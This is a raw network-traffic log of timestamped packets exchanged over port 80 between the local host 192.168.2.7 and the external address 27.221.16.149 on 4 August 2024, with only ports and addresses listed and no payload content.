Aug 4, 2024 10:57:45.248054028 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248065948 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248069048 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248078108 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248080015 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248091936 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248104095 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248116016 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248116970 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248128891 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248128891 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248142958 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248157978 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248199940 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248512983 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248558044 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248570919 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248581886 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248593092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248615980 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.295798063 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.589701891 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.589742899 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.589759111 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.589781046 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.589796066 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.589809895 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.589835882 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.589839935 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.589853048 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.589873075 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.589929104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.589958906 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.589966059 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.589976072 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590009928 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590054989 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590070009 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590087891 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590106964 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590112925 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590135098 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590147018 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590152025 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590171099 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590184927 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590497971 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590513945 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590528965 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590538025 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590553999 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590574980 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590604067 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590619087 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590635061 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590646982 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590650082 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590667963 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590673923 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590686083 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590702057 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590713024 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590738058 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.590749979 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590768099 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.590800047 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.591368914 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591398954 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591415882 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591439009 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.591530085 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591550112 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591557026 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591564894 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591573954 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591629982 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591646910 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591665983 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.591680050 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.591775894 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.592176914 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.592209101 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.592222929 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.592233896 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.592256069 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.938468933 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938488960 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938519955 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938539028 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938555002 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938570976 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938591003 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938608885 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.938647985 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.938663006 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938679934 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938700914 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938709021 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.938719034 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938735962 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938745975 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.938755035 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938776970 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938779116 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.938815117 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.938972950 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.938990116 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939027071 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939040899 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939057112 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939074039 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939093113 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939173937 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939191103 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939208984 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939215899 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939227104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939246893 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939255953 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939265013 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939281940 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939289093 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939300060 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939333916 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939439058 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939455032 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939476013 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939486027 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939507961 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939512968 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939526081 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939542055 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939559937 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939563036 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939598083 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939604044 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939620972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939651966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939660072 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939668894 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939687014 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939702988 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.939708948 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.939738989 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.940041065 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.940073013 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.940092087 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.940128088 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.940233946 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.940249920 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.940274954 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.940296888 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.940314054 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.940330982 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.940334082 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.940371990 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.026094913 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.077083111 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.285837889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.285880089 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.285900116 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.285914898 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.285933018 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.285955906 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.285983086 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.285986900 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286004066 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286016941 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286026001 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286053896 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286115885 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286137104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286160946 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286166906 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286185980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286204100 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286206007 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286221027 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286238909 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286248922 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286256075 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286269903 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286274910 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286317110 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286585093 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286603928 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286633968 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286648989 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286649942 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286668062 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286684036 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286684990 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286706924 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286724091 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286935091 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286962986 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286978960 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.286981106 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.286999941 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287020922 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287024021 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287039995 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287056923 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287061930 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287074089 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287092924 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287094116 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287111998 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287130117 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287141085 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287169933 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287316084 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287362099 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287379980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287408113 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287421942 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287441015 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287456989 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287470102 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287497997 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287543058 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287559986 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287578106 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287595034 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287600040 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287611961 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287631989 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287811041 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287862062 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287870884 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287888050 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287924051 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.287926912 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287944078 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287962914 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.287982941 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.288012028 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.288028002 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.288045883 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.288054943 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.288090944 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.633749962 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633774996 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633785963 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633835077 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633846045 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633858919 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633869886 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633882999 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633946896 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633959055 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.633975983 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.634017944 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634030104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634042978 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634056091 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634068966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634114027 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.634187937 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.634316921 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634330034 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634351969 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634358883 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.634365082 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634380102 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634385109 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.634393930 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634418011 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.634759903 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634805918 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.634838104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634855032 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634867907 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634880066 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634892941 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634897947 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.634927988 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.634957075 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634968042 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.634982109 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635003090 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635020971 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635040045 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635051966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635066032 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635091066 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635145903 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635159016 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635170937 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635183096 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635189056 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635196924 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635210037 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635224104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635238886 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635250092 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635260105 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635291100 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635303020 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635339022 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635397911 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635411024 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635421991 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635435104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635440111 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635447979 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635461092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635474920 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635479927 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635488987 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.635509968 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.635528088 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.636044025 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636055946 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636069059 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636095047 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.636130095 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636142015 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636152983 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636172056 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636178017 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.636188030 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636199951 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.636200905 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636219025 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.636229992 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.636257887 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:46.982374907 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982407093 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982424974 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982439995 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982450962 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:46.982464075 CEST	80	49756	27.221.16.149	192.168.2.7
